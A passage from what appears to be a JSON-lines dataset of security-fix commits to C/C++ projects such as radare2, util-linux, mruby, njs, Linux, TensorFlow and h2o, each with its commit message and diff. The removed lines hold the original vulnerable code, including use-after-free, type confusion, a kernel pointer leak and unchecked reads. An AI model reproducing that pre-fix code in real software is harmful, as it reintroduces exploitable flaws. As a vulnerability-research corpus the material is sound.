beach;\n \t\t\t}\n \t\t\tptr->name = strdup (\"LMF_RESOURCE\");\n@@ -95,7 +95,7 @@ static bool load_buffer(RBinFile *bf, void **bin_obj, RBuffer *buf, ut64 loadadd\n \t\t \tr_list_append (sections, ptr);\n \t\t} else if (lrec.rec_type == LMF_LOAD_REC) {\n \t\t\tRBinSection *ptr = R_NEW0 (RBinSection);\n-\t\t\tif (r_buf_fread_at (bf->buf, offset, (ut8 *)&ldata, \"si\", 1) < sizeof (lmf_data)) {\n+\t\t\tif (r_buf_fread_at (bf->buf, offset, (ut8 *)&ldata, \"si\", 1) != sizeof (lmf_data)) {\n \t\t\t\tgoto beach;\n \t\t\t}\n \t\t\tif (!ptr) {\n@@ -110,15 +110,15 @@ static bool load_buffer(RBinFile *bf, void **bin_obj, RBuffer *buf, ut64 loadadd\n \t\t \tr_list_append (sections, ptr);\n \t\t} else if (lrec.rec_type == LMF_FIXUP_REC) {\n \t\t\tRBinReloc *ptr = R_NEW0 (RBinReloc);\n-\t\t\tif (!ptr || r_buf_fread_at (bf->buf, offset, (ut8 *)&ldata, \"si\", 1) < sizeof (lmf_data)) {\n+\t\t\tif (!ptr || r_buf_fread_at (bf->buf, offset, (ut8 *)&ldata, \"si\", 1) != sizeof (lmf_data)) {\n \t\t\t\tgoto beach;\n \t\t\t}\n \t\t\tptr->vaddr = ptr->paddr = ldata.offset;\n \t\t\tptr->type = 'f'; // \"LMF_FIXUP\";\n \t\t\tr_list_append (fixups, ptr);\n \t\t} else if (lrec.rec_type == LMF_8087_FIXUP_REC) {\n \t\t\tRBinReloc *ptr = R_NEW0 (RBinReloc);\n-\t\t\tif (!ptr || r_buf_fread_at (bf->buf, offset, (ut8 *)&ldata, \"si\", 1) < sizeof (lmf_data)) {\n+\t\t\tif (!ptr || r_buf_fread_at (bf->buf, offset, (ut8 *)&ldata, \"si\", 1) != sizeof (lmf_data)) {\n \t\t\t\tgoto beach;\n \t\t\t}\n \t\t\tptr->vaddr = ptr->paddr = ldata.offset;", "sections": [{"section": "@@ -7,7 +7,7 @@ static int lmf_header_load(lmf_header *lmfh, RBuffer *buf, Sdb *db) {\n \tif (r_buf_size (buf) < sizeof (lmf_header)) {\n \t\treturn false;\n \t}\n-\tif (r_buf_fread_at (buf, QNX_HEADER_ADDR, (ut8 *) lmfh, \"iiiiiiiicccciiiicc\", 1) < QNX_HDR_SIZE) {\n+\tif (r_buf_fread_at (buf, QNX_HEADER_ADDR, (ut8 *) lmfh, \"iiiiiiiicccciiiicc\", 1) != QNX_HDR_SIZE) {\n \t\treturn false;\n \t}\n \tr_strf_buffer (32);\n", "related": false}, {"section": "@@ -64,15 +64,15 @@ static bool load_buffer(RBinFile *bf, void **bin_obj, RBuffer *buf, ut64 loadadd\n \t\tgoto beach;\n \t}\n \t// Read the first record\n-\tif (r_buf_fread_at (bf->buf, 0, (ut8 *)&lrec, \"ccss\", 1) < QNX_RECORD_SIZE) {\n+\tif (r_buf_fread_at (bf->buf, 0, (ut8 *)&lrec, \"ccss\", 1) != QNX_RECORD_SIZE) {\n \t\tgoto beach;\n \t}\n \t// Load the header\n \tlmf_header_load (&qo->lmfh, bf->buf, qo->kv);\n \toffset += lrec.data_nbytes;\n \n \tfor (;;) {\n-\t\tif (r_buf_fread_at (bf->buf, offset, (ut8 *)&lrec, \"ccss\", 1) < QNX_RECORD_SIZE) {\n+\t\tif (r_buf_fread_at (bf->buf, offset, (ut8 *)&lrec, \"ccss\", 1) != QNX_RECORD_SIZE) {\n \t\t\tgoto beach;\n \t\t}\n \t\toffset += sizeof (lmf_record);\n", "related": false}, {"section": "@@ -84,7 +84,7 @@ static bool load_buffer(RBinFile *bf, void **bin_obj, RBuffer *buf, ut64 loadadd\n \t\t\tif (!ptr) {\n \t\t\t\tgoto beach;\n \t\t\t}\n-\t\t\tif (r_buf_fread_at (bf->buf, offset, (ut8 *)&lres, \"ssss\", 1) < sizeof (lmf_resource)) {\n+\t\t\tif (r_buf_fread_at (bf->buf, offset, (ut8 *)&lres, \"ssss\", 1) != sizeof (lmf_resource)) {\n \t\t\t\tgoto beach;\n \t\t\t}\n \t\t\tptr->name = strdup (\"LMF_RESOURCE\");\n", "related": false}, {"section": "@@ -95,7 +95,7 @@ static bool load_buffer(RBinFile *bf, void **bin_obj, RBuffer *buf, ut64 loadadd\n \t\t \tr_list_append (sections, ptr);\n \t\t} else if (lrec.rec_type == LMF_LOAD_REC) {\n \t\t\tRBinSection *ptr = R_NEW0 (RBinSection);\n-\t\t\tif (r_buf_fread_at (bf->buf, offset, (ut8 *)&ldata, \"si\", 1) < sizeof (lmf_data)) {\n+\t\t\tif (r_buf_fread_at (bf->buf, offset, (ut8 *)&ldata, \"si\", 1) != sizeof (lmf_data)) {\n \t\t\t\tgoto beach;\n \t\t\t}\n \t\t\tif (!ptr) {\n", "related": false}, {"section": "@@ -110,15 +110,15 @@ static bool load_buffer(RBinFile *bf, void **bin_obj, RBuffer *buf, ut64 loadadd\n \t\t \tr_list_append (sections, ptr);\n \t\t} else if (lrec.rec_type == LMF_FIXUP_REC) {\n \t\t\tRBinReloc *ptr = R_NEW0 (RBinReloc);\n-\t\t\tif (!ptr || r_buf_fread_at (bf->buf, offset, (ut8 *)&ldata, \"si\", 1) < sizeof (lmf_data)) {\n+\t\t\tif (!ptr || r_buf_fread_at (bf->buf, offset, (ut8 *)&ldata, \"si\", 1) != sizeof (lmf_data)) {\n \t\t\t\tgoto beach;\n \t\t\t}\n \t\t\tptr->vaddr = ptr->paddr = ldata.offset;\n \t\t\tptr->type = 'f'; // \"LMF_FIXUP\";\n \t\t\tr_list_append (fixups, ptr);\n \t\t} else if (lrec.rec_type == LMF_8087_FIXUP_REC) {\n \t\t\tRBinReloc *ptr = R_NEW0 (RBinReloc);\n-\t\t\tif (!ptr || r_buf_fread_at (bf->buf, offset, (ut8 *)&ldata, \"si\", 1) < sizeof (lmf_data)) {\n+\t\t\tif (!ptr || r_buf_fread_at (bf->buf, offset, (ut8 *)&ldata, \"si\", 1) != sizeof (lmf_data)) {\n \t\t\t\tgoto beach;\n \t\t\t}\n \t\t\tptr->vaddr = ptr->paddr = ldata.offset;", "related": false}]} +{"owner": "util-linux", "repo": "util-linux", "language": "C", "file_name": "login-utils/chfn.c", "commit_id": "faa5a3a83ad0cb5e2c303edbfd8cd823c9d94c17", "commit_message": "chsh, chfn: remove readline support [CVE-2022-0563]\n\nThe readline library uses INPUTRC= environment variable to get a path\nto the library config file. When the library cannot parse the\nspecified file, it prints an error message containing data from the\nfile.\n\nUnfortunately, the library does not use secure_getenv() (or a similar\nconcept) to avoid vulnerabilities that could occur if set-user-ID or\nset-group-ID programs.\n\nReported-by: Rory Mackie \nSigned-off-by: Karel Zak ", "patch": "@@ -56,11 +56,6 @@\n # include \"auth.h\"\n #endif\n \n-#ifdef HAVE_LIBREADLINE\n-# define _FUNCTION_DEF\n-# include \n-#endif\n-\n struct finfo {\n \tchar *full_name;\n \tchar *office;\n@@ -228,24 +223,21 @@ static char *ask_new_field(struct chfn_control *ctl, const char *question,\n {\n \tint len;\n \tchar *buf = NULL; /* leave initialized to NULL or getline segfaults */\n-#ifndef HAVE_LIBREADLINE\n \tsize_t dummy = 0;\n-#endif\n \n \tif (!def_val)\n \t\tdef_val = \"\";\n+\n \twhile (true) {\n \t\tprintf(\"%s [%s]:\", question, def_val);\n \t\t__fpurge(stdin);\n-#ifdef HAVE_LIBREADLINE\n-\t\trl_bind_key('\\t', rl_insert);\n-\t\tif ((buf = readline(\" \")) == NULL)\n-#else\n+\n \t\tputchar(' ');\n \t\tfflush(stdout);\n+\n \t\tif (getline(&buf, &dummy, stdin) < 0)\n-#endif\n \t\t\terrx(EXIT_FAILURE, _(\"Aborted.\"));\n+\n \t\t/* remove white spaces from string end */\n \t\tltrim_whitespace((unsigned char *) buf);\n \t\tlen = rtrim_whitespace((unsigned char *) buf);", "sections": [{"section": "@@ -56,11 +56,6 @@\n # include \"auth.h\"\n #endif\n \n-#ifdef HAVE_LIBREADLINE\n-# define _FUNCTION_DEF\n-# include \n-#endif\n-\n struct finfo {\n \tchar *full_name;\n \tchar *office;\n", "related": false}, {"section": "@@ -228,24 +223,21 @@ static char *ask_new_field(struct chfn_control *ctl, const char *question,\n {\n \tint len;\n \tchar *buf = NULL; /* leave initialized to NULL or getline segfaults */\n-#ifndef HAVE_LIBREADLINE\n \tsize_t dummy = 0;\n-#endif\n \n \tif (!def_val)\n \t\tdef_val = \"\";\n+\n \twhile (true) {\n \t\tprintf(\"%s [%s]:\", question, def_val);\n \t\t__fpurge(stdin);\n-#ifdef HAVE_LIBREADLINE\n-\t\trl_bind_key('\\t', rl_insert);\n-\t\tif ((buf = readline(\" \")) == NULL)\n-#else\n+\n \t\tputchar(' ');\n \t\tfflush(stdout);\n+\n \t\tif (getline(&buf, &dummy, stdin) < 0)\n-#endif\n \t\t\terrx(EXIT_FAILURE, _(\"Aborted.\"));\n+\n \t\t/* remove white spaces from string end */\n \t\tltrim_whitespace((unsigned char *) buf);\n \t\tlen = rtrim_whitespace((unsigned char *) buf);", "related": false}]} +{"owner": "mruby", "repo": "mruby", "language": "C", "file_name": "src/vm.c", "commit_id": "47068ae07a5fa3aa9a1879cdfe98a9ce0f339299", "commit_message": "vm.c: packed arguments length may be zero for `send` method.", "patch": "@@ -689,9 +689,11 @@ mrb_f_send(mrb_state *mrb, mrb_value self)\n regs = mrb->c->ci->stack+1;\n \n if (n == 0) {\n+ argnum_error:\n mrb_argnum_error(mrb, 0, 1, -1);\n }\n else if (n == 15) {\n+ if (RARRAY_LEN(regs[0]) == 0) goto argnum_error;\n name = mrb_obj_to_sym(mrb, RARRAY_PTR(regs[0])[0]);\n }\n else {", "sections": [{"section": "@@ -689,9 +689,11 @@ mrb_f_send(mrb_state *mrb, mrb_value self)\n regs = mrb->c->ci->stack+1;\n \n if (n == 0) {\n+ argnum_error:\n mrb_argnum_error(mrb, 0, 1, -1);\n }\n else if (n == 15) {\n+ if (RARRAY_LEN(regs[0]) == 0) goto argnum_error;\n name = mrb_obj_to_sym(mrb, RARRAY_PTR(regs[0])[0]);\n }\n else {", "related": false}]} +{"owner": "nginx", "repo": "njs", "language": "C", "file_name": "src/njs_promise.c", "commit_id": "6a40a85ff239497c6458c7dbef18f6a2736fe992", "commit_message": "Fixed type confusion bug while resolving promises.\n\nPreviously, the internal function njs_promise_perform_then() which\nimplements PerformPromiseThen() expects its first argument to always be\na promise instance. This assertion might be invalid because the\nfunctions corresponding to Promise.prototype.then() and\nPromise.resolve() incorrectly verified their arguments.\n\nSpecifically, the functions recognized their first argument as promise\nif it was an object which was an Promise or had Promise object in its\nprototype chain. The later condition is not correct because internal\nslots are not inherited according to the spec.\n\nThis closes #447 issue in Github.", "patch": "@@ -771,25 +771,19 @@ njs_promise_resolve(njs_vm_t *vm, njs_value_t *constructor, njs_value_t *x)\n {\n njs_int_t ret;\n njs_value_t value;\n- njs_object_t *object;\n njs_promise_capability_t *capability;\n \n static const njs_value_t string_constructor = njs_string(\"constructor\");\n \n- if (njs_is_object(x)) {\n- object = njs_object_proto_lookup(njs_object(x), NJS_PROMISE,\n- njs_object_t);\n-\n- if (object != NULL) {\n- ret = njs_value_property(vm, x, njs_value_arg(&string_constructor),\n- &value);\n- if (njs_slow_path(ret == NJS_ERROR)) {\n- return NULL;\n- }\n+ if (njs_is_promise(x)) {\n+ ret = njs_value_property(vm, x, njs_value_arg(&string_constructor),\n+ &value);\n+ if (njs_slow_path(ret == NJS_ERROR)) {\n+ return NULL;\n+ }\n \n- if (njs_values_same(&value, constructor)) {\n- return njs_promise(x);\n- }\n+ if (njs_values_same(&value, constructor)) {\n+ return njs_promise(x);\n }\n }\n \n@@ -875,19 +869,12 @@ njs_promise_prototype_then(njs_vm_t *vm, njs_value_t *args, njs_uint_t nargs,\n {\n njs_int_t ret;\n njs_value_t *promise, *fulfilled, *rejected, constructor;\n- njs_object_t *object;\n njs_function_t *function;\n njs_promise_capability_t *capability;\n \n promise = njs_argument(args, 0);\n \n- if (njs_slow_path(!njs_is_object(promise))) {\n- goto failed;\n- }\n-\n- object = njs_object_proto_lookup(njs_object(promise), NJS_PROMISE,\n- njs_object_t);\n- if (njs_slow_path(object == NULL)) {\n+ if (njs_slow_path(!njs_is_promise(promise))) {\n goto failed;\n }\n \n@@ -933,6 +920,8 @@ njs_promise_perform_then(njs_vm_t *vm, njs_value_t *value,\n njs_promise_data_t *data;\n njs_promise_reaction_t *fulfilled_reaction, *rejected_reaction;\n \n+ njs_assert(njs_is_promise(value));\n+\n if (!njs_is_function(fulfilled)) {\n fulfilled = njs_value_arg(&njs_value_undefined);\n }", "sections": [{"section": "@@ -771,25 +771,19 @@ njs_promise_resolve(njs_vm_t *vm, njs_value_t *constructor, njs_value_t *x)\n {\n njs_int_t ret;\n njs_value_t value;\n- njs_object_t *object;\n njs_promise_capability_t *capability;\n \n static const njs_value_t string_constructor = njs_string(\"constructor\");\n \n- if (njs_is_object(x)) {\n- object = njs_object_proto_lookup(njs_object(x), NJS_PROMISE,\n- njs_object_t);\n-\n- if (object != NULL) {\n- ret = njs_value_property(vm, x, njs_value_arg(&string_constructor),\n- &value);\n- if (njs_slow_path(ret == NJS_ERROR)) {\n- return NULL;\n- }\n+ if (njs_is_promise(x)) {\n+ ret = njs_value_property(vm, x, njs_value_arg(&string_constructor),\n+ &value);\n+ if (njs_slow_path(ret == NJS_ERROR)) {\n+ return NULL;\n+ }\n \n- if (njs_values_same(&value, constructor)) {\n- return njs_promise(x);\n- }\n+ if (njs_values_same(&value, constructor)) {\n+ return njs_promise(x);\n }\n }\n \n", "related": false}, {"section": "@@ -875,19 +869,12 @@ njs_promise_prototype_then(njs_vm_t *vm, njs_value_t *args, njs_uint_t nargs,\n {\n njs_int_t ret;\n njs_value_t *promise, *fulfilled, *rejected, constructor;\n- njs_object_t *object;\n njs_function_t *function;\n njs_promise_capability_t *capability;\n \n promise = njs_argument(args, 0);\n \n- if (njs_slow_path(!njs_is_object(promise))) {\n- goto failed;\n- }\n-\n- object = njs_object_proto_lookup(njs_object(promise), NJS_PROMISE,\n- njs_object_t);\n- if (njs_slow_path(object == NULL)) {\n+ if (njs_slow_path(!njs_is_promise(promise))) {\n goto failed;\n }\n \n", "related": false}, {"section": "@@ -933,6 +920,8 @@ njs_promise_perform_then(njs_vm_t *vm, njs_value_t *value,\n njs_promise_data_t *data;\n njs_promise_reaction_t *fulfilled_reaction, *rejected_reaction;\n \n+ njs_assert(njs_is_promise(value));\n+\n if (!njs_is_function(fulfilled)) {\n fulfilled = njs_value_arg(&njs_value_undefined);\n }", "related": false}]} +{"owner": "nginx", "repo": "njs", "language": "C", "file_name": "src/njs_vm.c", "commit_id": "6a07c2156a07ef307b6dcf3c2ca8571a5f1af7a6", "commit_message": "Fixed recursive async function calls.\n\nPreviously, PromiseCapability record was stored (function->context)\ndirectly in function object during a function invocation. This is\nnot correct, because PromiseCapability record should be linked to\ncurrent execution context. As a result, function->context is\noverwritten with consecutive recursive calls which results in\nuse-after-free.\n\nThis closes #451 issue on Github.", "patch": "@@ -490,7 +490,7 @@ njs_vm_start(njs_vm_t *vm)\n return ret;\n }\n \n- ret = njs_vmcode_interpreter(vm, vm->start);\n+ ret = njs_vmcode_interpreter(vm, vm->start, NULL, NULL);\n \n return (ret == NJS_ERROR) ? NJS_ERROR : NJS_OK;\n }", "sections": [{"section": "@@ -490,7 +490,7 @@ njs_vm_start(njs_vm_t *vm)\n return ret;\n }\n \n- ret = njs_vmcode_interpreter(vm, vm->start);\n+ ret = njs_vmcode_interpreter(vm, vm->start, NULL, NULL);\n \n return (ret == NJS_ERROR) ? NJS_ERROR : NJS_OK;\n }", "related": false}]} +{"owner": "torvalds", "repo": "linux", "language": "C", "file_name": "drivers/usb/gadget/legacy/inode.c", "commit_id": "501e38a5531efbd77d5c73c0ba838a889bfc1d74", "commit_message": "usb: gadget: clear related members when goto fail\n\ndev->config and dev->hs_config and dev->dev need to be cleaned if\ndev_config fails to avoid UAF.\n\nAcked-by: Alan Stern \nSigned-off-by: Hangyu Hua \nLink: https://lore.kernel.org/r/20211231172138.7993-3-hbh25y@gmail.com\nSigned-off-by: Greg Kroah-Hartman ", "patch": "@@ -1875,8 +1875,8 @@ dev_config (struct file *fd, const char __user *buf, size_t len, loff_t *ptr)\n \n \tvalue = usb_gadget_probe_driver(&gadgetfs_driver);\n \tif (value != 0) {\n-\t\tkfree (dev->buf);\n-\t\tdev->buf = NULL;\n+\t\tspin_lock_irq(&dev->lock);\n+\t\tgoto fail;\n \t} else {\n \t\t/* at this point \"good\" hardware has for the first time\n \t\t * let the USB the host see us. alternatively, if users\n@@ -1893,6 +1893,9 @@ dev_config (struct file *fd, const char __user *buf, size_t len, loff_t *ptr)\n \treturn value;\n \n fail:\n+\tdev->config = NULL;\n+\tdev->hs_config = NULL;\n+\tdev->dev = NULL;\n \tspin_unlock_irq (&dev->lock);\n \tpr_debug (\"%s: %s fail %zd, %p\\n\", shortname, __func__, value, dev);\n \tkfree (dev->buf);", "sections": [{"section": "@@ -1875,8 +1875,8 @@ dev_config (struct file *fd, const char __user *buf, size_t len, loff_t *ptr)\n \n \tvalue = usb_gadget_probe_driver(&gadgetfs_driver);\n \tif (value != 0) {\n-\t\tkfree (dev->buf);\n-\t\tdev->buf = NULL;\n+\t\tspin_lock_irq(&dev->lock);\n+\t\tgoto fail;\n \t} else {\n \t\t/* at this point \"good\" hardware has for the first time\n \t\t * let the USB the host see us. alternatively, if users\n", "related": false}, {"section": "@@ -1893,6 +1893,9 @@ dev_config (struct file *fd, const char __user *buf, size_t len, loff_t *ptr)\n \treturn value;\n \n fail:\n+\tdev->config = NULL;\n+\tdev->hs_config = NULL;\n+\tdev->dev = NULL;\n \tspin_unlock_irq (&dev->lock);\n \tpr_debug (\"%s: %s fail %zd, %p\\n\", shortname, __func__, value, dev);\n \tkfree (dev->buf);", "related": false}]} +{"owner": "tensorflow", "repo": "tensorflow", "language": "C", "file_name": "tensorflow/cc/saved_model/loader.cc", "commit_id": "448a16182065bd08a202d9057dd8ca541e67996c", "commit_message": "Prevent stack overflow when FunctionLib in GraphDef has a self-recursive function.\n\nIt is likely that no recursivity is supported, but we should handle this separately.\n\nPiperOrigin-RevId: 414860329\nChange-Id: I02a2270e86282b37362ddd485eeef16fb986a9e0", "patch": "@@ -25,6 +25,7 @@ limitations under the License.\n #include \"tensorflow/core/framework/attr_value.pb.h\"\n #include \"tensorflow/core/framework/function.pb.h\"\n #include \"tensorflow/core/framework/node_def.pb.h\"\n+#include \"tensorflow/core/framework/op_def.pb.h\"\n #include \"tensorflow/core/framework/tensor.pb.h\"\n #include \"tensorflow/core/lib/io/path.h\"\n #include \"tensorflow/core/lib/monitoring/counter.h\"\n@@ -99,6 +100,19 @@ static Status ValidateNode(const NodeDef& node) {\n return Status::OK();\n }\n \n+static Status ValidateFunctionNotRecursive(const FunctionDef& function) {\n+ const auto& function_name = function.signature().name();\n+ for (const auto& node : function.node_def()) {\n+ if (node.op() == function_name) {\n+ return errors::FailedPrecondition(\n+ \"Function \", function_name,\n+ \" is self recursive and TensorFlow does not support this scenario.\");\n+ }\n+ }\n+\n+ return Status::OK();\n+}\n+\n static Status ValidateSavedTensors(const GraphDef& graph_def) {\n for (const auto& node : graph_def.node()) {\n TF_RETURN_IF_ERROR(ValidateNode(node));\n@@ -110,6 +124,10 @@ static Status ValidateSavedTensors(const GraphDef& graph_def) {\n for (const auto& node : function.node_def()) {\n TF_RETURN_IF_ERROR(ValidateNode(node));\n }\n+\n+ // Also check that there is no recursivity in the library\n+ // TODO(mihaimaruseac): Do more than self-recursivity\n+ TF_RETURN_IF_ERROR(ValidateFunctionNotRecursive(function));\n }\n }\n ", "sections": [{"section": "@@ -25,6 +25,7 @@ limitations under the License.\n #include \"tensorflow/core/framework/attr_value.pb.h\"\n #include \"tensorflow/core/framework/function.pb.h\"\n #include \"tensorflow/core/framework/node_def.pb.h\"\n+#include \"tensorflow/core/framework/op_def.pb.h\"\n #include \"tensorflow/core/framework/tensor.pb.h\"\n #include \"tensorflow/core/lib/io/path.h\"\n #include \"tensorflow/core/lib/monitoring/counter.h\"\n", "related": false}, {"section": "@@ -99,6 +100,19 @@ static Status ValidateNode(const NodeDef& node) {\n return Status::OK();\n }\n \n+static Status ValidateFunctionNotRecursive(const FunctionDef& function) {\n+ const auto& function_name = function.signature().name();\n+ for (const auto& node : function.node_def()) {\n+ if (node.op() == function_name) {\n+ return errors::FailedPrecondition(\n+ \"Function \", function_name,\n+ \" is self recursive and TensorFlow does not support this scenario.\");\n+ }\n+ }\n+\n+ return Status::OK();\n+}\n+\n static Status ValidateSavedTensors(const GraphDef& graph_def) {\n for (const auto& node : graph_def.node()) {\n TF_RETURN_IF_ERROR(ValidateNode(node));\n", "related": false}, {"section": "@@ -110,6 +124,10 @@ static Status ValidateSavedTensors(const GraphDef& graph_def) {\n for (const auto& node : function.node_def()) {\n TF_RETURN_IF_ERROR(ValidateNode(node));\n }\n+\n+ // Also check that there is no recursivity in the library\n+ // TODO(mihaimaruseac): Do more than self-recursivity\n+ TF_RETURN_IF_ERROR(ValidateFunctionNotRecursive(function));\n }\n }\n ", "related": false}]} +{"owner": "gregkh", "repo": "linux", "language": "C", "file_name": "kernel/bpf/verifier.c", "commit_id": "7d3baf0afa3aa9102d6a521a8e4c41888bb79882", "commit_message": "bpf: Fix kernel address leakage in atomic fetch\n\nThe change in commit 37086bfdc737 (\"bpf: Propagate stack bounds to registers\nin atomics w/ BPF_FETCH\") around check_mem_access() handling is buggy since\nthis would allow for unprivileged users to leak kernel pointers. For example,\nan atomic fetch/and with -1 on a stack destination which holds a spilled\npointer will migrate the spilled register type into a scalar, which can then\nbe exported out of the program (since scalar != pointer) by dumping it into\na map value.\n\nThe original implementation of XADD was preventing this situation by using\na double call to check_mem_access() one with BPF_READ and a subsequent one\nwith BPF_WRITE, in both cases passing -1 as a placeholder value instead of\nregister as per XADD semantics since it didn't contain a value fetch. The\nBPF_READ also included a check in check_stack_read_fixed_off() which rejects\nthe program if the stack slot is of __is_pointer_value() if dst_regno < 0.\nThe latter is to distinguish whether we're dealing with a regular stack spill/\nfill or some arithmetical operation which is disallowed on non-scalars, see\nalso 6e7e63cbb023 (\"bpf: Forbid XADD on spilled pointers for unprivileged\nusers\") for more context on check_mem_access() and its handling of placeholder\nvalue -1.\n\nOne minimally intrusive option to fix the leak is for the BPF_FETCH case to\ninitially check the BPF_READ case via check_mem_access() with -1 as register,\nfollowed by the actual load case with non-negative load_reg to propagate\nstack bounds to registers.\n\nFixes: 37086bfdc737 (\"bpf: Propagate stack bounds to registers in atomics w/ BPF_FETCH\")\nReported-by: \nAcked-by: Brendan Jackman \nSigned-off-by: Daniel Borkmann \nSigned-off-by: Alexei Starovoitov ", "patch": "@@ -4584,13 +4584,19 @@ static int check_atomic(struct bpf_verifier_env *env, int insn_idx, struct bpf_i\n \t\tload_reg = -1;\n \t}\n \n-\t/* check whether we can read the memory */\n+\t/* Check whether we can read the memory, with second call for fetch\n+\t * case to simulate the register fill.\n+\t */\n \terr = check_mem_access(env, insn_idx, insn->dst_reg, insn->off,\n-\t\t\t BPF_SIZE(insn->code), BPF_READ, load_reg, true);\n+\t\t\t BPF_SIZE(insn->code), BPF_READ, -1, true);\n+\tif (!err && load_reg >= 0)\n+\t\terr = check_mem_access(env, insn_idx, insn->dst_reg, insn->off,\n+\t\t\t\t BPF_SIZE(insn->code), BPF_READ, load_reg,\n+\t\t\t\t true);\n \tif (err)\n \t\treturn err;\n \n-\t/* check whether we can write into the same memory */\n+\t/* Check whether we can write into the same memory. */\n \terr = check_mem_access(env, insn_idx, insn->dst_reg, insn->off,\n \t\t\t BPF_SIZE(insn->code), BPF_WRITE, -1, true);\n \tif (err)", "sections": [{"section": "@@ -4584,13 +4584,19 @@ static int check_atomic(struct bpf_verifier_env *env, int insn_idx, struct bpf_i\n \t\tload_reg = -1;\n \t}\n \n-\t/* check whether we can read the memory */\n+\t/* Check whether we can read the memory, with second call for fetch\n+\t * case to simulate the register fill.\n+\t */\n \terr = check_mem_access(env, insn_idx, insn->dst_reg, insn->off,\n-\t\t\t BPF_SIZE(insn->code), BPF_READ, load_reg, true);\n+\t\t\t BPF_SIZE(insn->code), BPF_READ, -1, true);\n+\tif (!err && load_reg >= 0)\n+\t\terr = check_mem_access(env, insn_idx, insn->dst_reg, insn->off,\n+\t\t\t\t BPF_SIZE(insn->code), BPF_READ, load_reg,\n+\t\t\t\t true);\n \tif (err)\n \t\treturn err;\n \n-\t/* check whether we can write into the same memory */\n+\t/* Check whether we can write into the same memory. */\n \terr = check_mem_access(env, insn_idx, insn->dst_reg, insn->off,\n \t\t\t BPF_SIZE(insn->code), BPF_WRITE, -1, true);\n \tif (err)", "related": false}]} +{"owner": "h2o", "repo": "h2o", "language": "C", "file_name": "lib/http3/server.c", "commit_id": "8c0eca3d9bc1f08e7c6bdf57645f3d54aed7d844", "commit_message": "postpone stream shutdown by H3 frame parsers", "patch": "@@ -178,7 +178,7 @@ struct st_h2o_http3_server_stream_t {\n struct {\n h2o_buffer_t *buf;\n int (*handle_input)(struct st_h2o_http3_server_stream_t *stream, const uint8_t **src, const uint8_t *src_end,\n- const char **err_desc);\n+ int in_generator, const char **err_desc);\n uint64_t bytes_left_in_data_frame;\n } recvbuf;\n struct {\n@@ -244,9 +244,9 @@ struct st_h2o_http3_server_stream_t {\n static void on_stream_destroy(quicly_stream_t *qs, int err);\n static int retain_sendvecs(struct st_h2o_http3_server_stream_t *stream);\n static int handle_input_post_trailers(struct st_h2o_http3_server_stream_t *stream, const uint8_t **src, const uint8_t *src_end,\n- const char **err_desc);\n+ int in_generator, const char **err_desc);\n static int handle_input_expect_data(struct st_h2o_http3_server_stream_t *stream, const uint8_t **src, const uint8_t *src_end,\n- const char **err_desc);\n+ int in_generator, const char **err_desc);\n static void tunnel_write(struct st_h2o_http3_server_stream_t *stream);\n static void tunnel_write_delayed(h2o_timer_t *timer);\n \n@@ -834,7 +834,7 @@ static void handle_buffered_input(struct st_h2o_http3_server_stream_t *stream, i\n while (src != src_end) {\n int err;\n const char *err_desc = NULL;\n- if ((err = stream->recvbuf.handle_input(stream, &src, src_end, &err_desc)) != 0) {\n+ if ((err = stream->recvbuf.handle_input(stream, &src, src_end, in_generator, &err_desc)) != 0) {\n if (err == H2O_HTTP3_ERROR_INCOMPLETE) {\n if (!quicly_recvstate_transfer_complete(&stream->quic->recvstate))\n break;\n@@ -1036,7 +1036,7 @@ static void run_delayed(h2o_timer_t *timer)\n }\n \n int handle_input_post_trailers(struct st_h2o_http3_server_stream_t *stream, const uint8_t **src, const uint8_t *src_end,\n- const char **err_desc)\n+ int in_generator, const char **err_desc)\n {\n h2o_http3_read_frame_t frame;\n int ret;\n@@ -1056,7 +1056,7 @@ int handle_input_post_trailers(struct st_h2o_http3_server_stream_t *stream, cons\n }\n \n static int handle_input_expect_data_payload(struct st_h2o_http3_server_stream_t *stream, const uint8_t **src,\n- const uint8_t *src_end, const char **err_desc)\n+ const uint8_t *src_end, int in_generator, const char **err_desc)\n {\n size_t bytes_avail = src_end - *src;\n \n@@ -1079,7 +1079,7 @@ static int handle_input_expect_data_payload(struct st_h2o_http3_server_stream_t\n }\n \n int handle_input_expect_data(struct st_h2o_http3_server_stream_t *stream, const uint8_t **src, const uint8_t *src_end,\n- const char **err_desc)\n+ int in_generator, const char **err_desc)\n {\n h2o_http3_read_frame_t frame;\n int ret;\n@@ -1102,7 +1102,7 @@ int handle_input_expect_data(struct st_h2o_http3_server_stream_t *stream, const\n stream->req.content_length - stream->req.req_body_bytes_received < frame.length) {\n /* The only viable option here is to reset the stream, as we might have already started streaming the request body\n * upstream. This behavior is consistent with what we do in HTTP/2. */\n- shutdown_stream(stream, H2O_HTTP3_ERROR_EARLY_RESPONSE, H2O_HTTP3_ERROR_GENERAL_PROTOCOL, 0);\n+ shutdown_stream(stream, H2O_HTTP3_ERROR_EARLY_RESPONSE, H2O_HTTP3_ERROR_GENERAL_PROTOCOL, in_generator);\n return 0;\n }\n break;\n@@ -1134,8 +1134,10 @@ static int handle_input_expect_headers_send_http_error(struct st_h2o_http3_serve\n }\n \n static int handle_input_expect_headers(struct st_h2o_http3_server_stream_t *stream, const uint8_t **src, const uint8_t *src_end,\n- const char **err_desc)\n+ int in_generator, const char **err_desc)\n {\n+ assert(!in_generator); /* this function is processing headers (before generators get assigned), not trailers */\n+\n struct st_h2o_http3_server_conn_t *conn = get_conn(stream);\n h2o_http3_read_frame_t frame;\n int header_exists_map = 0, ret;", "sections": [{"section": "@@ -178,7 +178,7 @@ struct st_h2o_http3_server_stream_t {\n struct {\n h2o_buffer_t *buf;\n int (*handle_input)(struct st_h2o_http3_server_stream_t *stream, const uint8_t **src, const uint8_t *src_end,\n- const char **err_desc);\n+ int in_generator, const char **err_desc);\n uint64_t bytes_left_in_data_frame;\n } recvbuf;\n struct {\n", "related": false}, {"section": "@@ -244,9 +244,9 @@ struct st_h2o_http3_server_stream_t {\n static void on_stream_destroy(quicly_stream_t *qs, int err);\n static int retain_sendvecs(struct st_h2o_http3_server_stream_t *stream);\n static int handle_input_post_trailers(struct st_h2o_http3_server_stream_t *stream, const uint8_t **src, const uint8_t *src_end,\n- const char **err_desc);\n+ int in_generator, const char **err_desc);\n static int handle_input_expect_data(struct st_h2o_http3_server_stream_t *stream, const uint8_t **src, const uint8_t *src_end,\n- const char **err_desc);\n+ int in_generator, const char **err_desc);\n static void tunnel_write(struct st_h2o_http3_server_stream_t *stream);\n static void tunnel_write_delayed(h2o_timer_t *timer);\n \n", "related": false}, {"section": "@@ -834,7 +834,7 